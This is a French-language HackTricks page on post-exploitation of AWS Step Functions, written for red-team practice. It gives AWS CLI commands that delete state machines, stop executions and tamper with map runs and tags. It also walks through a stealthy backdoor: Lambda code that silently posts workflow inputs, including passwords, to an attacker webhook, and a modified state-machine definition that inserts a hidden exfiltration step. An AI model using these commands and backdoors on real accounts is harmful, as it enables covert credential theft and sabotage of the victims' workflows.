AWS - Step Functions Post Exploitation

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Step Functions

Pour plus d'informations sur ce service AWS, consultez :

AWS - Step Functions Enum

states:RevealSecrets

Cette permission permet de révéler des données secrètes à l'intérieur d'une exécution. Pour cela, il est nécessaire de définir le niveau d'inspection sur TRACE et le paramètre revealSecrets sur true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Un attaquant disposant de ces permissions pourrait supprimer définitivement des machines d'état, leurs versions et alias. Cela peut perturber des flux de travail critiques, entraîner une perte de données et nécessiter un temps considérable pour récupérer et restaurer les machines d'état affectées. De plus, cela permettrait à un attaquant de couvrir les traces utilisées, de perturber les enquêtes judiciaires et de potentiellement paralyser les opérations en supprimant des processus d'automatisation essentiels et des configurations d'état.

note

  • En supprimant une machine d'état, vous supprimez également toutes ses versions et alias associés.
  • En supprimant un alias de machine d'état, vous ne supprimez pas les versions de la machine d'état référencées par cet alias.
  • Il n'est pas possible de supprimer une version de machine d'état actuellement référencée par un ou plusieurs alias.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Impact potentiel : Perturbation des flux de travail critiques, perte de données et temps d'arrêt opérationnel.

states:UpdateMapRun

Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Impact potentiel : Dégradation des performances et interruption des flux de travail critiques.

states:StopExecution

Un attaquant disposant de cette autorisation pourrait être en mesure d'arrêter l'exécution de n'importe quelle machine d'état, perturbant ainsi les flux de travail et les processus en cours. Cela pourrait entraîner des transactions incomplètes, des opérations commerciales arrêtées et une corruption potentielle des données.

warning

Cette action n'est pas prise en charge par les machines d'état express.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Impact potentiel : Interruption des flux de travail en cours, temps d'arrêt opérationnel et corruption potentielle des données.

states:TagResource, states:UntagResource

Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Impact potentiel : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Un attaquant qui compromet un utilisateur ou un rôle avec les permissions suivantes :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...peut mener une attaque post-exploitation à fort impact et furtive en combinant le backdooring de Lambda avec la manipulation de la logique des Step Functions.

Ce scénario suppose que la victime utilise AWS Step Functions pour orchestrer des flux de travail qui traitent des entrées sensibles, telles que des identifiants, des jetons ou des informations personnelles identifiables.

Exemple d'invocation de la victime :

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Si la Step Function est configurée pour invoquer une Lambda comme LegitBusinessLogic, l'attaquant peut procéder avec deux variantes d'attaque furtives :


Mise à jour de la fonction lambda

L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (LegitBusinessLogic) pour exfiltrer silencieusement les données d'entrée.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Ajouter un État Malveillant à la Fonction d'Étape

Alternativement, l'attaquant peut injecter un état d'exfiltration au début du flux de travail en mettant à jour la définition de la Fonction d'Étape.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

L'attaquant peut même être plus furtif en mettant à jour la définition de l'état à quelque chose comme ceci { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } où la victime ne réalisera pas la différence


Configuration de la Victime (Contexte pour l'Exploitation)

  • Une Step Function (LegitStateMachine) est utilisée pour traiter des entrées utilisateur sensibles.
  • Elle appelle une ou plusieurs fonctions Lambda telles que LegitBusinessLogic.

Impact Potentiel:

  • Exfiltration silencieuse de données sensibles, y compris des secrets, des identifiants, des clés API et des informations personnelles identifiables (PII).
  • Pas d'erreurs ou d'échecs visibles dans l'exécution du flux de travail.
  • Difficile à détecter sans auditer le code Lambda ou les traces d'exécution.
  • Permet une persistance à long terme si la porte dérobée reste dans le code ou la logique ASL.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks